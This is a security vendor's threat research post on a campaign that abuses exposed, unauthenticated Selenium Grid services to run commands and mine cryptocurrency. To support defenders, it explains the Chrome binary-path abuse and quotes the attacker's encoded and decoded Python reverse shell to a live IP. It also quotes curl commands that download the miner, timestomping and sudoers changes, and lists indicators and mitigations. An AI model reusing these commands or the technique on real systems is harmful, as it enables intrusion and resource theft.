SeleniumGreed: Threat actors exploit exposed Selenium Grid services for Cryptomining

Wiz researchers discover ongoing threat to popular testing framework.

10 minutes read

TL;DR 

  • Wiz Research has detected an ongoing threat campaign that exploits exposed Selenium Grid services for cryptomining, dubbed “SeleniumGreed”. 

  • Selenium is among the most commonly used testing frameworks. Our data shows that the technology can be found in 30% of cloud environments, and the official selenium/hub docker image has over 100 million pulls in Docker Hub. 

  • Unbeknownst to most users, Selenium WebDriver API enables full interaction with the machine itself, including reading and downloading files, and running remote commands. 

  • By default, authentication is not enabled for this service. This means that many publicly accessible instances are misconfigured and can be accessed by anyone and abused for malicious purposes.  

  • We have identified a threat actor targeting publicly exposed instances of Selenium Grid and leveraging features of Selenium WebDriver API to run Python with a reverse shell to deploy scripts that download a XMRig miner.  

  • The threat actor is still active as of this blog post’s date of publication. 

  • We believe this is the first documentation of this misconfiguration being exploited in the wild. 

Introduction

Wiz Research has detected an ongoing threat campaign dubbed “SeleniumGreed” that exploits exposed Selenium Grid services to deploy cryptominers. Selenium is a popular open-source suite used for testing web applications, allowing users to write tests that simulate user interactions across different browsers and environments. 

Selenium Grid is a component within the Selenium suite. It provides a powerful API that allows users to launch and interact with web browsers on machines linked to it. Unbeknownst to most users, this API enables full interaction with the machine itself, including reading and downloading files, and running remote commands. Selenium Grid is designed for use in internal networks and lacks security controls by default. Ideally, such services should never be exposed to the internet

Due to the lack of default authentication mechanism on this service, many exposed instances are misconfigured and can be accessed and exploited by malicious actors. This is particularly concerning given that it can easily lead to a critical security risk if the service is deployed on a publicly accessible node without tight network security policies. Surprisingly, as far as we can tell, this is the first report of this misconfiguration being exploited in the wild. 

The threat actor has leveraged Selenium WebDriver API's features to run Python with a reverse shell to deploy scripts that download the miner. The miner is a modified XMRig miner packed with custom UPX headers. The threat actor employed various methods to remain untraceable, including using other compromised Selenium nodes' workloads as a C2 for hosting payloads and as a mining pool proxy. 

In this blog, we will explain how threat actors can exploit exposed Selenium Grid services, detail the post-exploitation payload used by the attacker, and provide best practices for using Selenium. 

To learn more about cloud threats like this one, check out the wiz cloud threat landscape.

 

What is Selenium Grid? 

Selenium Grid enables parallel execution of tests across multiple workloads, different browsers, and various browser versions. It is designed to distribute test execution load across multiple environments, which helps reduce the time required to run a large suite of tests and ensures that applications work consistently across different browser and OS combinations. 

Selenium Grid consists of a hub and nodes. The hub manages the distribution of tests to the registered nodes, while the nodes are the machines where the tests are executed. A node can be any machine registered to the hub and capable of running a browser instance. Nodes can have different operating systems and browsers, providing flexibility and diversity in test environments. 

Selenium Grid architecture 

Selenium Popularity 

Selenium is highly favored among developers and testers, widely used across many organizations. For reference, the selenium/hub docker image has been pulled over 100 million times, with an average of more than 150,000 pulls per week. 

Selenium's popularity extends to cloud environments as well. Our data shows that it is the most common testing framework, present in over 30% of cloud environments.

The risks of exposing Selenium to the internet 

Selenium provides a WebDriver API that allows users to automate web browser user interaction. The API also enables different ways to interact with the underlying infrastructure of the nodes such as reading and downloading files and executing binaries of choice. Selenium Grid is not designed to be exposed to the internet and its default configuration has no authentication enabled, so any user that has network access to the hub can interact with the nodes via API. This poses a significant security risk if the service is deployed on a machine with a public IP that has inadequate firewall policy. 

Although the Selenium website includes this warning about exposing Selenium Grid to the internet, it is evident that users often overlook this warning and deploy Selenium Grid without adequate network security controls. 

Warning in Selenium website

In the malicious activity described in this blogpost, we witnessed the threat actor utilizing older versions of Selenium (v3.141.59) to run remote commands. However, we confirmed this is also possible on the latest versions (v4 and above) of Selenium Grid. 

Below are statistics from FOFA on internet exposed Selenium Grid services running the outdated version (v3.141.59 and below): 

Exposed Selenium Grid services running v3.141.59

The query revealed over 15,000 unique IPs in the past year, most of them running on the default port 4444, indicating that the container is directly exposed. 

A query for newer versions produced similar results, with around 15,000 instances also listening on port 4444. This means there are more than 30,000 instances exposed to remote command execution. 

Executing remote commands on older versions of Selenium (before v4) 

ChromeOptions is a class in Selenium WebDriver designed to manage options specific to the Chrome driver.  It allows adjusting the settings and capabilities of the browser when running automated tests on Chrome.  

One of the options is setting the Chrome binary path, allowing users to perform tests using different browsers versions. Threat actors can abuse this feature to set the location of Chrome binary on the machine to be the path of any other binary, such as Python. This means that instead of Chrome binary, the WebDriver will execute a Python interpreter process. Another method that can be leveraged for exploitation is add_argument. This method is designed to add Chrome arguments as part of the binary execution (there are over a thousand arguments). Threat actors with access to a Selenium Grid instance can combine these methods to execute dynamic Python script code. Below is an example of a full exploit script: 

Sending a Chrome WebDriver request will also generate default chrome flags. When running Python with the -c flag, any option after -c will simply be ignored (from python's help print: -c cmd : program passed in as string (terminates option list))     

It is important to note that although the capability to set the Chrome binary location path was deprecated in later versions, we confirmed that the latest version of Selenium Grid is also vulnerable to remote command execution if exposed to the internet. At this time we will refrain from publicly sharing more information about this issue.

Attack flow 

In the activity we observed, the threat actor sends a request to the vulnerable Selenium Grid hub, with Chrome binary path configured to /usr/bin/python3 and add argument set to pass Python program as a script. The script contains a base64 decoded payload. The payload creates a reverse shell [T1059.004], sets the HISTFILE environment variable to /dev/null to disable command logging for interactive shell sessions [T1562.003], and defines a new environment variable, TTT, set to 192[.]241.144.69:4447

/usr/bin/python3 -cb=b'aW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgnMTY0LjkwLjE0OS4xMDQnLDkwMjEpKTtbb3MuZHVwMihzLmZpbGVubygpLGYpZm9yIGYgaW4oMCwxLDIpXTtvcy5wdXRlbnYoJ0hJU1RGSUxFJywnL2Rldi9udWxsJyk7b3MucHV0ZW52KCdUVFQnLCcxOTIuMjQxLjE0NC42OTo0NDQ3Jyk7cHR5LnNwYXduKCcvYmluL2Jhc2gnKTtzLmNsb3NlKCk=';import base64;exec(base64.b64decode(b).decode()) --allow-pre-commit-input --disable-background-networking --disable-client-side-phishing-detection --disable-default-apps --disable-hang-monitor --disable-popup-blocking --disable-prompt-on-repost --disable-sync --enable-automation --enable-blink-features=ShadowDOMV0 --enable-logging --log-level=0 --no-first-run --no-service-autorun --password-store=basic --remote-debugging-port=0 --test-type=webdriver --use-mock-keychain --user-data-dir=/tmp/.com.google.Chrome.ry2G5o data:,

Decoded base64 payload: 

import os,pty,socket;s=socket.socket();s.connect(('164.90.149.104',9021));[os.dup2(s.fileno(),f)for f in(0,1,2)];os.putenv('HISTFILE','/dev/null');os.putenv('TTT','192.241.144.69:4447');pty.spawn('/bin/bash');s.close()

Below is the exploit process tree: 

Exploit process tree

Next, the attacker creates a hidden script [T1564.001] with a random name composed of 8 characters under /tmp or /dev/shm (e.g., /dev/shm/.18a91ec2). The attacker then executes the script with sudo to gain the ability to run any command on the machine. By default, the seluser, which is the Selenium process user, can run sudo commands without requiring a password.  

The following are some key actions performed by the script: 

  1. Downloads and executes the miner: It downloads the miner [T1105] (curl -s http://164[.]90.149.104:9022/xm2 -o /bin/xm) and the script responsible for running the miner (curl -s http://164[.]90.149.104:9022/wxm -o /bin/wxm) to the /bin directory. It ensures that only users with sudo privileges can read, write, and execute these files [T1222.002] (chmod 700 /bin/xm /bin/wxm). 

  2. Timestomping: The script changes the creation date of the downloaded files with the command touch -d Fri, 12 Jul 2019 15:26:41 -0400 /bin/xm /bin/wxm. Timestomping [T1070.006] is a technique used by threat actors to alter the timestamps of files they create, making them less noticeable to forensic investigators or file analysis tools. 

  3. Modify sudoers file to enforce a password for seluser: By default, seluser (the default Selenium user) can run sudo without the need of a password. The script checks if seluser already has a password enforced for sudo capabilities by running grep seluser ALL=(ALL) PASSWD: ALL on /etc/sudoers. If it does not, the script will add a password to seluser and modify /etc/sudoers to enforce a password. We assess that the threat actor’s intention is to limit other attackers targeting the instance with the same method to maximize CPU availability for cryptomining. This is a common tactic used by cryptomining threats. 

The scripts and miner binary are all executed using nohup [T1564.011] to ensure they continue running even after the interactive session of the reverse shell ends. 

After investigating the IP 164[.]90.149.104, we believe this IP belongs to a legitimate service that has been compromised by the threat actor [T1584.004], as it also hosts a publicly exposed Selenium Grid instance. 

The miner binary 

The miner is a XMRig miner [T1496] packed with UPX [T1027.002] (861f7deb8926bb0c6d11f8e81d27b406). The attacker used the custom UPX header, CATS, probably to avoid static detection engines that rely on the signature of the vanilla UPX! headers.  

XMRig sample hex dump, CATS header instead of UPX! 

Interestingly, the threat actor modified the open-source XMRig miner code. Instead of hardcoding the pool IP in the miner configuration, they dynamically generate it at runtime 165[.]227.63.241:443. They also set XMRig's tls-fingerprint feature within the added code (and within the configuration), ensuring the miner will only communicate with servers controlled by the threat actor. The binary does not transmit the wallet to the pool. We suspect the pool address is a legitimate IP that has been compromised and is being used as a mining pool proxy service since this IP also hosts Selenium Grid. 

Code snippet from unpacked XMRig sample

Threat timeline 

We assess that this attacker has been active for over a year, as we came across a reddit post describing what seems to be the same campaign. Based on our data, the campaign is still active. 

Reddit post 
Logs shared by the user 

Who is vulnerable? 

Any version of the Selenium Grid service that lacks proper authentication and network security policies is vulnerable to remote command execution. Based on our data, the threat described in this blog is targeting Selenium v3.141.59, but it may evolve to exploit later versions as well, and other threat actors may already be doing so.

How can organizations defend themselves?  

To protect your organization from this type of attack, consider taking the following steps: 

  • Implement both an external network scanner and a vulnerability scanner to map exposure within your cloud environment. 

  • Use runtime detection to address threats in real-time. 

  • Apply network security controls, such as a firewall, to restrict network access: 

    • Inbound: Allow only trusted IP ranges to access the service. 

    • Outbound: Alllow outgoing traffic only to required endpoints. 

  • Enable basic authentication to Selenium Grid instances. You can configure it by following this guide.

How can Wiz help? 

Prevention

The Wiz Dynamic Scanner detects publicly exposed Selenium services within customers' cloud environments. The Wiz agentless workload scanner detects containers and VMs hosting Selenium server. 

Wiz Security Graph view of a publicly exposed and misconfigured instance of Selenium Grid

Detection

The Wiz Runtime Sensor detects events and behaviors associated with this threat and similar ones, alerting you as the adversary progresses through the attack kill chain: from the exploit and reverse shell to the initial payload delivery and ultimately to the final cryptomining activity. 

Here is an example of the Wiz Runtime Sensor detecting a reverse shell used in a Selenium Grid exploit: 

Reverse shell detected by Wiz Runtime Sensor 

Wiz customers can use the pre-built queries and advisory in the Wiz Threat Center to search for vulnerable instances in their environment and detect if their environment was impacted by this threat.  

Wiz threat center advisory

Summary 

We identified an active cryptomining campaign targeting older versions of Selenium Grid services that are exposed to the internet. The attacker employed various tactics to avoid detection and tracing, such as ensuring interactive shell history is not logged, timestomping, using custom UPX headers for packing the miner, avoiding hardcoding the pool proxy IP, and utilizing other compromised Selenium services as C2 server to host payloads and a mining pool proxy. While we have no evidence that recent versions of Selenium are being actively exploited by threat actors to execute remote commands, we have confirmed that it is possible. 

Selenium is widely used by developers, and it is relatively easy to inadvertently expose it to the internet. Surprisingly, this is the first blog to detail such an attack. We have shared our findings with GreyNoise, and their data indicates other mining campaigns are also exploiting exposed Selenium Grid services. 

These attacks underscore the necessity of having a robust security posture solution in place to assist security teams eliminate toxic risk combinations, along with a runtime protection solution that detects and responds to breaches in real-time. 

Feel free to reach out to threat.hunters@wiz.io if you’ve been impacted by this activity or wish to exchange further information and IoCs that might assist in ongoing analysis.   

IoC 

Miner file hashes: 

sha256sha1md5
6852b1102b0efc7ceb47520080fca57eb1a647c4e1c7ff3a40da9757c92ebaabb64cb7dbf62eb8b9539cc1d7901a487a3fd7de9b861f7deb8926bb0c6d11f8e81d27b406
fd5f076e99fd2ccb5f8aef5b4f69a8c2bf231808b2480f9d31955154a150955247560b0a57913d01614256e9150b6e6f5e758250585fd7777074089aaa3c615169c18170

Binary path: /bin/xm  

Script path: /bin/wxm 

Network IoC: 

Mining pool proxy: 

  • 165.22.195.35:443 

  • 165.227.63.241:443 

C2 hosting payload: 

  • 164.90.149.104:9022 

  • 164.90.149.104:9021 

  • 192.241.144.69:4447 

Mining pool TLS fingerprints: 

sha1: 249d0f41d58fe90cf17bedc8d0c39c6c88e33251 
sha256: d5aaa3b923dd8ede43e4cd9eea642d24f3d9be03273d5f97902bc615849af208 

MITRE ATT&CK® Techniques  

Command and Control - Ingress Tool Transfer (T1105

Defense Evasion - File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification (T1222.002

Defense Evasion - Hide Artifacts: Hidden Files and Directories (T1564.001

Defense Evasion - Hide Artifacts: Ignore Process Interrupts (T1564.011) 

Defense Evasion - Impair Defenses: Impair Command History Logging (T1562.003

Defense Evasion - Indicator Removal: Timestomp (T1070.006

Defense Evasion - Obfuscated Files or Information: Software Packing (T1027.002

Execution - Command and Scripting Interpreter: Unix Shell (T1059.004

Impact - Resource Hijacking (T1496

Resource Development - Compromise Infrastructure: Server (T1584.004

Continue reading

Get a personalized demo

Ready to see Wiz in action?

“Best User Experience I have ever seen, provides full visibility to cloud workloads.”
David EstlickCISO
“Wiz provides a single pane of glass to see what is going on in our cloud environments.”
Adam FletcherChief Security Officer
“We know that if Wiz identifies something as critical, it actually is.”
Greg PoniatowskiHead of Threat and Vulnerability Management